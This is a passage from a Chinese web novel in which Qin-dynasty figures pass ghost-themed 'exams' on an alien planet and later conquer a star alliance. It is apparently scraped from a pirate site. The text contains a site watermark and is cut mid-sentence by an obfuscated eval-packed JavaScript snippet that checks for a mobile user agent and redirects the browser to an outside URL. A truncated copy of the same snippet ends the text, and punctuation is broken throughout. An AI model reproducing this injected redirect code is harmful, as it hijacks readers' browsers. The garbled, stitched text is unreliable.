“我住的宫殿里居然藏了这么多可怕的东西?! 他一把抓住张仪的手: “亲爱的张!幸好有你啊! 张仪的张天师身份顿时就坐实了,国王恨不得把他奉为教皇。吓得张仪赶紧拒绝,他可不敢当什么皇的,这大胡子是不是要恩将仇报? 正巧这个时候太子殿下摇人,张仪果断给考试收了个尾,麻利地出去干活了。 张仪因为加班早退其他副本里的同僚倒是还能继续浪。 吕雉和商蔓结伴进了一个考场。 这次是个东方恐怖本各种古代近代现代的鬼故事杂糅。会遇到多个不同的危机需要挨个度过去。 开局就是非常经典的冥婚。 一般有中式恐怖几乎必有冥婚。 百人的副本看起来似乎又是只有两个秦人参加。 当然也有可能是其他人都被分散到别的地点了。他们毕竟不像吕雉商蔓这样是组队进来的 两位姐姐倒是不怕鬼比不少男人胆子都大。 闺蜜两个很松弛地走在深夜的街道上就像寻常人夜里出来轧马路一样有说有笑的。 这让直播间里紧张的网友都神经放松了一些觉得周围的环境好像没有那么可怕了。 其实本来就是正常的街景。 夜晚凌晨的街道商铺都关门了路上没有一个行人和车辆非常生活化的情形。 如果不是考场最初告知了众人这是个恐怖灵异副本大家根本不会害怕。 商蔓笑着说道: “可惜了这里没有卖夜宵的路边摊。我之前在首都吃的夜宵摊味道都还不错现在在外星系吃不到了。” 吕雉随口和她聊着: “吃的什么?等有机会我也回去尝一尝。” 商蔓回想了一下: “东北烤冷面广东肠粉陕西肉夹馍四川冷锅串串。” 弹幕: 「好得很都是外地小吃」 「你倒是说是哪条街哪家小吃摊啊我好过去打卡!」 「在灵异副本里凌晨轧马路你们居然还有闲心聊夜宵是真的勇士。」 「人家自己就是鬼当然不怕鬼了哪有鬼怕同类的?」 「说得好像我是人就不怕坏人了一样」 「听她们说我都饿了」 「已经点了外卖不知道什么时候能送到」 「我就不一样了我下楼买」 大家正热火聊天地讨论夜宵吃什么的时候。 忽然有人问道: 「我怎么感觉起雾了?」 众所周知起雾是深夜街道开始闹鬼的前兆。不出意外的话前面很快就会有鬼靠近。 屏幕里的两人却仿若未觉依然在欢声笑语地讨论最近发生的趣事。 直到吹吹打打的声音传来。 商蔓扭头看过去: “这是个什么鬼?” 吕雉不太确定: “迎亲的吗?我们大秦没有这样的习俗但我似乎听后头朝代的人提到过他们那里成婚迎亲会有奏乐。” 说话间白色的小轿已经停在了两人面前。 商蔓抱臂看着: “这也是后世的成婚习俗?” 先秦是没有白色代表死亡这个概念的当时还是朴素地坚持“缟素”。 何为缟素呢? 就是没染色的布料。 没染色可不是白色而是那种偏黄的麻布。 只是随着时间的推移贵族阶层不怎么乐意再穿麻布衣服。而贵族日常所穿的丝制衣服就多为白色。 说是“多为”原因就在古代传统养蚕纺丝时其实很难保证所有人养出来的蚕丝都是纯白的。经常会出很多杂色的蚕丝那么丝衣的原色就很多种多样了。 最后贵族阶级根据《礼记》中的五大主主色“青、赤、黄、黑、白”其中白对应西主萧瑟调零又接近素麻衣的颜色所以才演变成了后来的白色丧葬文化。 在这个演变期间还掺杂了一些其他的影响。比如道教对白色的定义、不同民族对白色的崇拜等。 不过普通平民又穿不起丝衣所以当真办丧事的时候他们都是继续用麻布的。 商蔓虽然在现代副本待过但她还真没接触过什么现代丧葬。再加上现代还有西方的白色婚礼她就有点闹不清楚了。 看着白色小轿她不由问道: “这是个外国人办的婚礼?” 吕雉忍住了才没笑: “应该不是应当是办的冥婚 商蔓往旁边稍了稍: “那我们让让别挡着他们把新娘子的尸体抬去合葬。” 吕雉:…… NPC:…… 网友们:…… 吕雉扶额: “不是这种丧事 第 216 章 集体加班 第二天中午,吕雉一开门,外头乖巧地蹲了乌压压一片鬼,都是来讨红包的。 吕雉:…… 吕雉扭头把商蔓喊进来: “你自己解决。” 商蔓笑眯眯地走过去: “排队,一人一张,不要争抢。” 吕雉干脆先下楼去买了两份午餐带上来,等商蔓发完正好一起吃。 她问道: “一共就一沓冥币,发了那么多,不剩多少了吧?” 商蔓并不担忧: “白天再买就是了,反正只要忽悠活人给我们一张张清点一遍就行,没有难度。” 吕雉微微挑眉。 话虽如此,但人家卖冥币的为什么要给你一张张清点呢? 商蔓有办法。 白天活动的鬼确实少了很多,却也不是完全没有。这个星球上基本看不到什么机器人NPC,周围的似乎都是活人。 而且从周围人的反应看来,他们仿佛并没有直播投影可看,也不清楚考核的事情。 两人对视一眼。 这是一个很特殊的考场。 它是一个独立的文明,和之前的虫灾考场一样被圈了出去。星球整体都是考场,而不像上回闹鬼的那个一样,只在星球里圈地做考场。 在这种情况下,星盟完全有可能搞出一个“楚门的世界”。 只不过之前都会清清楚楚地告诉你,你的星球已经成为考场了。大家习惯了考场内的原住民心知肚明这件事,一时遇到个不清楚内情的便有些意外。 吕雉感觉到有人在跟踪她们。 走过一个小巷后,她突然趁着周围没人,闪身来到对方面前。眨眼间擒住那人,拎回了没有监控的巷子里。 被捉住的是个瘦小男人。 商蔓打量了一下: “应该是个偷。” 正好她们想了解一下这个文明的情况,送上门的情报工具人不用白不用。 十分钟后。 吕雉把人放了,对方连滚带爬地跑了出去,根本不敢回头。 这两个女人太恐怖了,她们压根就不是人!大白天还有女鬼出来晃悠,世界果然要完了吧?! 弹幕则开始激烈讨论起来。 「他们这个 文明和咱们好像,除了没有华夏国的历史底蕴,别的方面都很雷同。」 「有点像是东亚杂糅,而且只杂糅了现代社会。」 「虽然没什么历史底蕴,咱们的传统鬼故事这里居然也有。不知道的还以为是东亚的鬼故事合集具现化了,生成了一个新世界。」 「穿书,但穿鬼故事合集是吧?」 「重点是他们的国民居然都知道鬼魂的存在,他们生活在鬼怪堆里都不害怕的?」 「害怕啊,你没看到刚刚那小子吓得腿肚子都哆嗦了?」 「他们给我的感觉就是,我从小听说到处都有坏人,但是我自己没遇到过,所以我还能安心生活。」 「就像米国那边,身边经常发生恐怖袭击,但是不影响日常生活?」 「……突然就理解了」 吕雉微微蹙眉: “我刚刚试探他知不知道文明考核的事情,他的表现像是听说过一点,但不太了解。” 商蔓觉得这个反应有点眼熟: “像是多年前发生的事情,但被上层压下去了。日常生活中先辈们不会提起,课本网络上也没什么相关内容。所以后来出生的孩子就不太了解,甚至根本不知道。” 看样子找活人问是问不出来什么的,她们干脆在附近搜寻到了一只鬼。 鬼魂确实知道得更多些: “这个我清楚,很多年前,估计有一百多年了,那时星盟过来弄过一次文明考核。但是活人那里是有驱鬼师的,哪儿能容忍星盟蹦跶?” 拼热武器的话,他们确实不一定能拼得过。可一旦星盟的那些小手段落到这里,就很容易失效。 鬼魂对电子产品存在特攻效果。 所以最初芯片掉落的时候,就因为鬼蜮废了一大批。后来屡试屡败,派人过来还被鬼王追杀,就没讨到过好。 可能是嫌弃这块骨头难啃,而且就算拿下了这个星球,开发起来难度也很大。星盟干脆就放弃针对它们了,转而把这里圈起来成为考场。 反正被考核丢进来的又不是星盟的公民,能不能活着出去星盟也不是很在意。 鬼魂表示它也不知道官方是否清楚自家星球被当成了考场,可能是清楚的吧。毕竟它们私底下都知道这件事,只是不在乎 成为自己的口粮的是外星人还是本地人。 吕雉若有所思: “恐怕官方是不想和星盟撕破脸,所以睁一只眼闭一只眼。 至少这样一来,星盟就只会隔三差五往这里丢几个考生,不会继续入侵本星球。 这点考生闹不出太大动静,对于天天闹鬼的灵异文明来说,根本不算什么事,完全能够忽略。 也难怪现在的星盟成员里没有几个文明是走玄学路线的。 因为他们根本搞不定玄学类文明。 「星盟现在就是一整个后悔」 「蓝星你是玄学类的文明你早说啊,你早说我就不来入侵你了!」 「实不相瞒,我们蓝星人以前也不知道自己是走玄学路线的」 「也就是说外星系其实存在很多玄学类文明是吧?我还以为他们都是玩科学的」 「魔法就够不科学的了」 「我觉得和修真比起来魔法还是很科学的」 「魔法它不会干扰电子设备啊!」 星盟靠电子设备过日子的,真和灵异文明开战,惹怒了这里的千年老鬼。大不了你星盟把全球人都弄死,然后我们集体变鬼,成为一个彻头彻尾的鬼星。 到时候就看吧,开战舰战舰失灵,架飞船飞船报废,看谁耗得过谁。 直接给你科技整瘫痪了。 普通小鬼你能限制,千年厉鬼你限制一个试试?就算厉鬼你也能限制得住,估计也要付出不小的代价。 为了打一个灵异文明,让自己科技大受挫折,倒退几百年,实属没必要。何况外头还有星盗虎视眈眈,到时候星盗就可以靠着顶尖武器杀过来了。 吕雉把这个思路记下来,发给最近在给陛下当小秘书的太子殿下。 发完就没她们什么事了。 正事办完,接下来就是享受游戏。 商蔓兴致勃勃地领着她去了附近的商场,她刚刚从鬼魂嘴里打听到不少消息。比如,这个商场里有一家在搞大胃王活动。 商蔓盘算道: “咱俩没有钱,但是可以通过这个弄点现金。有了第一笔钱,我就可以钱生钱了。 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 于是吕雉无奈地被她拉去挑战了一分钟吃完一海碗的面条,挑战成功获得500元的奖金。 「吕姐太难了又要一分钟吃完又要保持优雅表情居然没有崩。」 「吕姐:还能怎么办?宠她呗」 「她们鬼到底是怎么做到能吃活人食物的?」 「因为她们是鬼仙」 什么事情沾上个“仙”字突然就合理起来了。 一人五百两人就是一千这么多钱足够买到海量冥币了。少买点的话多给卖家一些小费对方自然也很乐意帮忙挨个清点。 就当是有钱人的特殊癖好了。 星球的另一边。 和手握大量冥币走哪儿都能享受至尊待遇的闺蜜组不同。孙策周瑜这对好兄弟走的是另一条路线武力镇压。 他们落在了另一个半球。 所以刚进入考场时是大白天。 白天的灵异星球看起来非常正常没什么特别的。两人商量之后做出了和闺蜜组相反的决定。 闺蜜组是倒时差想白天出行他们是倒时差想晚上出来看看。 所以这会儿才刚刚起床趁着夜色出来闲逛。 在夜晚的街道上闲逛显然不是什么好主意因为不一定会遇见想遇见的鬼怪更可能先遇到恶人。 孙策周瑜落地的半球是个治安不太好的国家虽然依旧是东方人面孔但安全程度堪比美洲。 当街抢劫属于家常便饭冷不丁还能掉落当街杀人这一事件。两人刚出门没多远就遇到个开出租车的杀人犯。 出租车停在路边: “两位帅哥去哪里?要不要乘车?” 孙策有些不耐烦正要说他们就是夜里出来散散步的用不着坐车。 周瑜拦住了他不动声色地扫过司机手腕上溅到的一滴干涸血迹。 他微笑着点头答应下来: “好啊我们要去隔壁区的音乐广场。” 孙策顿时不说话了。 他用眼神询问小伙伴想做什么。 周瑜拉着他上车没有解释。 只是借着宽袖的掩饰往地上丢了几个不起眼的小东西。 周瑜就是随便提了个位置 被质疑了也无所谓左右这个司机本也没 打算送他们去目的地。无论他说哪个地点都会被送到相同的位置。 也就是司机犯罪的地点。 周瑜和孙策都是擅长带兵打仗的武将然而他们两个长得并不五大三粗。至少比起这个司机来说身板显得小了不少。 尤其周瑜还是儒雅型的将领对比就更加明显了。司机偷偷从口袋里拿出药物和手枪自觉自己准备做得充足。 结果还没开出去多远突然感觉到不对。 这条路怎么这么长? 以前只要往前开几个路口就能看见右转那条街有许多漂亮的霓虹招牌。然后他会朝着左边没有霓虹灯的地方开去一直把人带到荒僻的地方。 可今天他已经开过五六个入口了依然没有看见熟悉的招牌。周围的景色看起来陌生又熟悉似乎是遭遇鬼打墙了又似乎不是。 司机无法理解。 人怕恶鬼鬼也怕恶人。 一般来说鬼都会和恶人井水不犯河水是以司机才敢半夜出来晃悠。这是他第一次走夜路碰到灵异事件心里难免有些紧张。 周瑜安抚道: “别怕只是闹鬼了而已。” 司机:…… 这个安慰比不安慰还吓人。 更吓人的是他发现自己把车又开回了刚刚接上两位待宰肥羊的地点居然真的是鬼打墙。 之所以这么确定是因为当时两人站在一个广告牌的旁边。那个广告牌坏了一半只亮半边灯 现在这个广告牌又出现了。 不仅如此广告牌旁边还站着两个和他车上一模一样的人。 司机:!!! 原本平和的弹幕瞬间炸了。 「卧槽卧槽卧槽!这也太吓人了!所以到底谁才是真正的考生啊?!」 「当然是车里这俩了你是不是傻?直播间只会跟随考生视角啊!」 「这是遇到了替身鬼吗?」 「这类鬼有好多种光我听说过的就有二重身、找替死鬼的地缚灵等等不知道这个是什么情况。」 「司机以前没遇到过鬼这次遇到了估计是因为不幸搭乘了考生。这些鬼是考核内容肯定是考生走哪儿追哪儿。」 「怪谁呢?是他自己非 要把鬼怪吸引源拉上车的。」 司机僵硬地把脑袋转向后方: “你们两个到底是人是鬼?” 周瑜答非所问: “好好开车,开车的时候不能回头,你这样会出车祸的。” 司机根本顾不上出车祸,他快要吓疯了。他想不管不顾地弃车逃跑,可是车外还有两个谈笑风生的鬼。 孙策饶有兴致地催促: “快停车,有客人你怎么不接?” 车外那“两人”正在主动朝着车子招手,一副想要乘车的模样。 司机哆哆嗦嗦地拒绝: “车里坐不下……” 孙策打断了他: “坐得下,后座可以再坐一个,副驾驶还能坐一个,正好四人。” 司机到底拥有连环杀人犯的心理素质,很快就强自冷静了下来。现在鬼在他车上,他别无选择。 也不是没有人撞鬼后成功存活的,他要冷静。冷静地思考对策,挖掘出破局方法,而不是惊慌失措。 于是司机咬了咬牙,停下车。 孙策二号坐上了副驾驶。 司机明显感觉到气温降低了不少,不知道是不是心理作用。是车里四个鬼阴气太重了吗?还是副驾驶的鬼离他太近冻着了他? 司机不知道,司机只能机械性往下开车,然后再一次来到广告牌旁边。 这次,又出现了一对鬼。 司机的冷汗从额角滑落: “还、还要让他们上车吗?” 周瑜似有些困扰: “好像确实坐不下了。” 司机的眼睛唰地亮起。 他可以把驾驶位让出来的!副驾驶挤挤坐两个也不是不行!他愿意自己走路回家! 但周瑜很快又说: “不要紧,我们鬼不占多少空间,让它们上车吧。” 司机:…… 车门打开,两只鬼说说笑笑地挤上了副驾驶。它们就像没有实体一样,互相交叠着也不影响,还有一只原地飘了起来,趴在了司机头顶。 弹幕刚开始还很害怕,但是看着这一幕实在没有忍住。 「这些鬼看起来一点都不吓人,还挺帅的。看鬼都眉清目秀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163382|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是不是没救了?」 「飘在头顶 上的那个好像人形氢气球哦」 「考生这么淡定搞得我也紧张不起来了」 「我说你们是不是忘了这俩是地府来的大佬?作为鬼界鼻祖我不信他们不会鬼怪的手段。」 「对保不齐就是他们搞出来的」 「你们这么一说我越发觉得不吓人了」 围观的觉得不吓人在场的司机觉得老吓人了。被长得一模一样的鬼包围而且眼看就要没完没了他根本没有办法冷静下来分析局势。 接下来第四对、第五对…… 当车里终于挤下了十只鬼的时候司机彻底崩溃了。他把车开到远离广告牌的地方突然推开车门不管不顾地冲了下去。 跑出去一段没忍住回头看了眼就见密密麻麻的鬼追了过来。它们的脸上都是如出一辙的好奇好奇他为什么要跑。 司机大叫一声: “救命啊!” 慌不择路地冲进了前方的一个建筑里。 甚至都顾不得奇怪为什么这里会多出来一个建筑刚才街道两侧分明还是小区围墙和绿化带。 弹幕倒是一眼认出了: 「咦?派出所?」 坐在车里的周瑜挥了挥手撤去障眼法。 孙策饶有兴致地伸手去戳挨个回到车子里的“鬼”们一戳就嘭地炸开一个炸成虚无只剩一个小飞虫掉下来被他接住。 孙策问道: “这是什么东西?” 周瑜拿走收好: “炼器司琢磨出来的小玩具可以幻化出使用者想要的模样。虽然是玩具但我觉得应该能拿来做点别的 结果这次装鬼很成功把杀人犯吓得一头跑进了警察局。 弹幕:…… 敢情真的是你在装神弄鬼啊? 孙策扒在车窗上看: “他进去之后发现是派出所不会又吓得跑出来吧?” 周瑜淡定地说: “不会他只会向公安求助。” 如周瑜所料。 司机意识到自己跑进的明亮大厅是派出所之后不仅没有惧怕逃跑反倒喜极而泣。 有公安走过来问他怎么了是否需要帮助。 他一把抱住公安大腿: “警察叔叔!我自首!我杀了好多人!你快把我抓起来吧!” 公安:??? 旁边一位老公安习以为常地掏出手铐把他铐住,解释了一句: “被鬼吓的。” 可见类似的情况时常发生。 毕竟夜路走多了,总能遇到鬼。有些坏人自以为鬼怪不敢招惹自己,只不过是没遇到足够凶恶的而已。 哪天碰见了,拼了命地也要往派出所逃。 一来派出所正气浩然,让人比较有安全感。二来官方的驱鬼师在这里布置了防御的手段,进来至少能保住性命。 外头周瑜已经叫上孙策离开了,公安等下就会来处理这个车子,他们留在这里会被抓现行。 现在“消失”,才能坐实闹鬼。 弹幕非常好奇他们是怎么做到鬼打墙的,是不是动用了鬼怪的能力。 周瑜虽然看不见弹幕,却也能猜到弹幕现在在问什么。 他主动解释了两句: “车子往前开了一段后,我就用法术把车子丢回后方某个看起来和这一片差不多的街道上了。” 一连七八个路口过去都是一模一样的小区围墙加绿化带,这一片是扎堆的居民区,黑夜里看起来相似度高达90%。 如果是白天的话,司机肯定不会被骗。偏偏是夜晚光线昏暗,加剧了他的紧张感。 再加上周瑜用了点障眼法,修真界的法术对普通人是降维打击。 司机最后一路开到闹市区,在周瑜的刻意引导下开到了派出所门口,也毫无所觉,还以为自己依然开在之前的道路上呢。 两人对热闹的夜市不感兴趣,很快又绕回到了偏僻路段。 孙策感慨: “本来是来撞鬼的,没想到变成来装鬼的了。” 有种抢了别人戏份的感觉。 正说着,又有一辆出租车停在了周围。 陌生的司机问他们: “帅哥,上车吗?” 孙策:。 怎么还来? 孙策开始怀疑这里的人都是怎么活下去的了,左有恶鬼右有恶人,这也太难了。 但是定睛一看,这次的好像不是坏人,就是单纯的出租车司机。因为 他们两个站在路边不动,才尝试着拉客。 可惜他们确实不需要坐车,只能摇头婉拒了。 司机遗憾地离开了这里。 周瑜往前走了两步: “一直站着不动怕是遇不到鬼的,不如去附近已经熄灯的地方看看。 他远远看见前面好像有个校园。 去校园里转一圈,还能顺便帮孩子们捉捉鬼,还他们一个清净安全的学习环境。 孙策很赞同: “走走走! 两人轻轻松松翻墙进入校园,熄灯后的校园寂静到了诡异的程度。走到教学楼底下,楼梯口的铁门好像是锁着的。 周瑜正要说进不去。 却见孙策上前一步,手一拉,就把锁给扯坏了。 周瑜:“……你弄坏它干什么? 孙策一头雾水: “我以为你想上去,难道不是? 周瑜无奈地摇了摇头。 算了,帮忙除鬼就当是对这把锁的赔偿吧。 离开铁栅栏,就听见楼梯上方传来隐隐的喧哗声。 明明之前从外面看时,这里的教室已经全部熄灯了。而且保安给教学楼上锁之前,是会逐个教室检查有没有学生逗留的。 校园这种地方,果然不可能不闹鬼。 孙策一马当先走上楼梯。 上了二楼就能看见尽头有一间教室亮着灯,声音就是从里面传来的。走近之后,可以看到不少学生在上晚自习。 脑袋摔扁的学生问同桌: “这道题怎么做? 同桌的脸色十分难看: “不知道,别问我。 这节晚自习到底什么时候能结束?他都被拉着问了几十个问题了! 他当初在现代空间里学习成绩就很一般,勉强才考上大学的。前头那些问题还能答得上来,到后头越来越难,简直是在折磨他。 早知道他从一开始就假装学渣了,也好过被逮着不停问问题。 都成鬼了怎么还这么热爱学习? 孙策认出那个倒霉同桌是谁了,忍不住哈哈大笑。 “李信!你这是在干什么? 李信看见熟人大喜过望: “快快快!快救我! 第 217 章 【少年质子】 阴嫚跑路前,嘴上说是去抢次空间考场的,其实根本没去。 随着星盟逐渐丢失各大星系的掌控权,考核已经快要办不下去了。有些考场所在的星球甚至干脆自己主动把星盟的装置拆了,拿回属于自家的领地。 某些还有幸存者流落在外的文明,也同样开始尝试取回母星的所有权。 总之各地乱的很。 有些人的考场芯片已经开始失效了,可能是星盟那边关闭了一些程序。阴嫚也不在意,毕竟她也没有植入芯片。 她和妹妹说: “我们去占领星球。” 清婉是个不会扫兴的好姑娘: “好呀!” 她也没提自己和姐姐压根不会打仗,去了不一定能成功。毕竟老秦人都有一颗想从军的心,公主也不例外。 大兄可以,她们也可以。 阴嫚就去找人要兵去了,然后转了一圈就找到一个熟人,是老将军白起。不过白起现在看着很年轻,更喜欢用壮年模样示人。 阴嫚直接过去问将军: “可以给我一只舰队吗?” 白起想了想,分了她一支。 陛下之前说过,星际太大了,出兵的事情不用次次都去找他汇报。他很忙,这些小事就交由白王二人裁决。 王翦尊重老前辈,自己领了副将的位置,所以现在做主的是白起。 白起想着两位公主实力高强,星际战斗也不需要太多军事技巧。实力差距太大,直接碾压过去就行,干脆答应下来。 秦盟现在属于只缺将领的阶段。 因为星球太多了,大家分开领兵也像水入大海一样,不怎么起眼。所以得多点实力足够的“将军”带队,最好是能用修真界修为镇压反抗的那种。 阴嫚听懂了他的暗示: “明白,这个我会!” 而后她带着妹妹直奔白起划给她的星系,一路横扫过去,遇到高精尖科技武器就给它拆了。 没了武器,她们带来的军队便能长驱直入,将星盟设立在这里的办事处轻松拔除。 阴嫚都做好自己过来之后人人喊打的准备了,毕竟她是攻占别人的一方,在对方眼里就是个入侵者。 结果…… 该文明的话事人积 极地前来拜见: “多谢诸位前来解救我们,请问我们这样算是加入秦盟了吗?还要不要走什么流程手续?” 阴嫚:? 阴嫚心想星盟难道这么人人喊打,怎么大家都希望它赶紧完蛋的样子。 当面客客气气地应付了,回头就给李斯等人发消息,询问具体情况。 李斯的回复是: 「宗正所料不错,正是如此。」 宗正是阴嫚生前的官职,既然是在职场上,自然以职位相称。 李斯在刷陛下好感这件事上,绝不掉链子。哄开心了长公主殿下,就是哄开心了陛下。 蒙毅的回复是: 「或许白将军特意选了该星系交由您二位处理。」 两位公主第一次带兵打仗,要是打完发现被攻占的星球都对她们怒目相向,骂她们是侵略者,或许会留下不好的心理阴影。 也不仅是阴嫚,其他几个凑热闹的文臣被分到的也是类似的星系。白起哄他们开心呢,给她们个当“救世主”解救外星文明的机会。 吕雉的回复是: 「如今秦盟与星盟对待成员国的区别已经传遍星际,对比一番后,许多文明自然就选择了倒戈。」 这说的是利益论,跟着谁能吃到更多肉,那就对谁笑脸相迎。人都是现实的,文明只会更现实。 星盟以前对他们如何不重要,都到了这个时候,肯定是往死里挑刺。一点小矛盾也要往夸大了说,所以阴嫚能听见文明的话事人跟她抱怨以前星盟有多残暴不仁。 实际上情况是否当真这么严重,只有当事人自己知道。 尉缭的回复是: 「殿下须得警惕他们是否假意投靠,昔年秦灭六国时,也多的是态度友善的六国贵族。」 有时候态度友善的才更危险,一旦他们是在伪装,收拾起来会比那种情绪挂脸上的难多了。 不怕敌人实力强大,就怕敌人心思深沉。正面对碰大秦没怕过谁,阴谋诡计才会防不胜防。 阴嫚看完感觉又学到了许多: “我看问题的角度还是太单一了。” 清婉抿唇笑笑: “可我觉得长姐已经很厉害了。” 阴嫚心情好了一些: “ 就你嘴甜!” 姐妹俩扫荡了这一片星系里里外外梳理了一遍后有了点意外收获。星盟居然在这里安置了一些次空间考场正好顺手取走。 阴嫚和妹妹咬耳朵: “之前出门和大兄说是来拿考场的 清婉忍俊不禁: “就算我们没带考场回去他也不会说什么的他都知道我们在糊弄人了。” 倔强的长公主殿下不这么想。 她才不给大兄留下她的话柄呢。 姐妹两个在外面玩尽兴了才回家阴嫚带着自己的战利品去找大兄复命结果正好碰到王离来述职。 王离沉稳地说: “末将已经攻取了星盟制作考场和主持考核的相关星球次空间的相关技术也已转交科研部。” “此外还取得了几份重要资料。这一份是这些年遭受侵害的低等文明清单还有一份是考场分布图已经命人前去接手。” 阴嫚看看他手里厚厚一叠文件里面包含数万个考场位置。而她只抢回来了几个。 阴嫚:早知道路上就不拖拖拉拉了! 但凡她早几天来也不用碰见这么尴尬的场面。 扶苏似笑非笑的扭头看向妹妹。 阴嫚厚着脸皮蹭过去: “大兄我听闻王将军已经获取了考场的分布图想来用不上我继续为秦盟搜罗考场于是便回来了。” 说完不等她大兄拆台立刻挨过去靠到秦政身上: “父亲我带兵打下了一个星系!” 秦政配合地摸摸她脑袋: “不错朕的阳滋越发能干了。你多攒点军功日后封你做大将军。” 阴嫚挠挠脸。 不知道为什么感觉父亲在嘲讽她。可能是和大兄待久了父亲说话才自带一股子阴阳怪气的味道。 唉都是大兄害人不浅! 不管父亲这就是在夸奖她是在为她骄傲。 小公主高高兴兴地走了。 再不走要被大兄安排活干她又不傻。留在总部干的都是无聊的活她宁愿出去多打几个星系。 直到回去和妹妹说了今日的事。 清婉想了想: “可是现在的大将军不是已经不值钱了吗? 以前其他将领当不上大将军,是因为实力和军功差一筹。 可如今大家多的是锻炼能力的机会,军功也可以不断积攒。哪怕在这个位面混不上大将军,换个位面也总能得封。 所以大秦已经遍地大将军了。 阴嫚:“……你说的对。 确定了,父亲白天不是在嘲讽她,而是在拿她当小孩哄。 就像一年级考了语文满分后,家长说“等你多考几次满分,我就给你买五百块的漂亮裙子。还以为五百非常珍贵,因为以前比较穷五块都要省着花,其实家里已经暴富了。 随着越来越多的文明投降,不仅新文明带来了新的军队。原本那批跟着几十万军舰一起被俘获的星盟军人,也大半倒戈向了秦盟。 因为他们的母星投靠了秦盟,他们的家人不再受制于星盟。既然没有了后顾之忧,那当然要为自己的未来拼搏。 秦盟的军队越发壮大起来。 当星盟总部终于被攻克的时候,已经是两年后了。攻打星盟没什么难度,主要还是地盘太大。 这两年秦政一直在思索要怎么统治这么一个多文明、地缘过于辽阔的星际时代。 传统的帝制很难维持住,除非一直靠断层武力碾压。但那不是长久之计,所以类似联盟的制度更合适一些。 然而联盟也分很多种。 松散的联盟,建立了也是个笑话。像星盟这样,遇到危机自动解体一大半,和没有联盟有什么区别? 最后秦政把目光投向华夏国。 多文明对应多民族,文化习俗各有不同,但不妨碍大家团结在一起。将文明的个体差异从官僚之中剥离开,再树立一个统一的信念,将所有人拧成一股绳。 于是秦盟一统星际后,秦政首先下令建造的官方机构里,重点帮扶的就包含文化和娱乐相关部门。 各文明当初加入星盟后,对星盟的文化入侵十分防备。生怕时间长了,自家民众就只知道星盟,不知道原本的文明。 确实效果拔群,导致星盟一直是一盘散沙。 秦政将文娱部建立起来,先让各家自己管自己的。以此作为安抚的同时,也是在做两手准备。 扶苏一眼看透父亲的想法: “阿父是想让那些坚持文明独立的星际官员,乖乖回他们自家文娱部任职去? 至于官方自上而下的管理机构,就不让这些人插手了。以古代官员不回家乡当地方官作为原则,派遣其他文明的官员过去管辖。 这样他们就会以秦盟官员自居,而不是某文明的官员。不断加强秦盟的概念,等时机成熟,就可以改天换日了。 秦政淡淡地说: “大秦联盟?我大秦不需要联盟。国便是国,联盟只是权宜之计。 现在各文明还自成一国,这极大地影响了星际大融合。 不要紧,慢慢来。 先用联盟麻痹他们,天长日久后,就可以裁撤各文明的“国家级别,降为大秦的行政区。 到时候,大秦就可改称秦国了。 还有各文明的语言文字,之前也没有完全做到统一。 你当然可以保留你本来的语言文字,但作为官方,大秦总不能不推出一个官话是吧? 之前的星盟在推行这个的时候就不是特别顺利,因为星盟没有强硬要求。 它只是推出了官方的文字和语言。 然后在各文明提出“翻译程序已经很先进了,语言文字的差异并不会影响我们日常交流,没必要完全统一时,做出了退让。 都是狗屁。 秦政直接硬性规定了: “秦盟官员必须学习星际通用语,并在公开场合使用通用语。不得使用方言代替,违者罢官。 然后给出了一个期限,二十年内完成推广。 二十年作为新语言的学习期,毕竟华夏语确实有点难学,期间可以使用翻译器辅助。 但二十年后你还学不会的话,反正你也年纪大了,正好给新人退位让贤。 能活三百年的星际人:??? 可惜现在秦盟还处于武力镇压的状态下,大家根本无法反抗它。 扶苏趁势提议: “各文明的教科书也该大改了,就从启蒙学校开始,教授新语言和文字。星盟竟不曾将通用语纳入教科书,真不知道他们是怎么想的。 没纳入也好,这样他们要把通用语改成华夏语受到的阻力就小很多——毕竟 也没多少人学过通用语。 秦政问儿子: “你预备怎么修改教科书? 扶苏微微一笑: “我与许祢已经商议过了,父亲请看。 说着取出一份计划书。 许祢是大秦的太学祭酒,专管教育事宜。平时没什么存在感,但在教育界是绝对的权威人士。 许祢设立的学宫制度曾经弄得大秦长安学宫的学子苦不堪言,但效果拔群,为大秦输送了大量高级人才。 难得有出山的机会,这次他卯足了劲在星际教育的改制上下功夫。 首先就是教材要改。 与太子殿下商议之后,他们认为强行要求别人修改教材,容易适得其反。所以要打一棒子给个甜枣,在教材内容上下文章。 比如,提供给各文明更多更全面的科学技术资料,但是资料都是华夏语版本的。在各星系开设相关课程,讲课用华夏语讲。 星际的翻译技术发达又如何? 尖端科学家难道还真的能一直依赖翻译吗? 事实上很多人都会因为文献资料的原因去学外语,外语都肯学,何况是自家的通用语。 许祢还提出: “等高精尖人才学这个,再慢慢往下推广到他们的学生、预备要成为他们学生的尖子生、对未来有高规划的少年学子,还是太慢了一些。 于是又增加了通用语考试加分的设定,卷面和口语考核时,使用通用语可以得到加分。 加分能成为华夏学子追捧的东西,自然也能推广到星际去。 扶苏则参考部分位面的华夏要学英语这件事,建议将通用语暂时作为外语加入必修科目。 等以后天长日久,它就不再是“外语 秦政看完点了点头: “用技术换取各文明的退让,又有官职晋升的限制放在这里,应当可以最大限度将通用语推行下去。 这些只是最主要的手段,还有一些细枝末节上的小心机可以以后慢慢搞。 比如日后大秦官方出品的东西上只用通用语,潜移默化让各星系习惯通用语的存在。 扶苏又提起其他方面的统一: “因为各星系都是自由发展科技的关系,哪怕科 技资料一开始是从星盟获得或者互相分享得来的,他们彼此之间依然存在一定差异。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 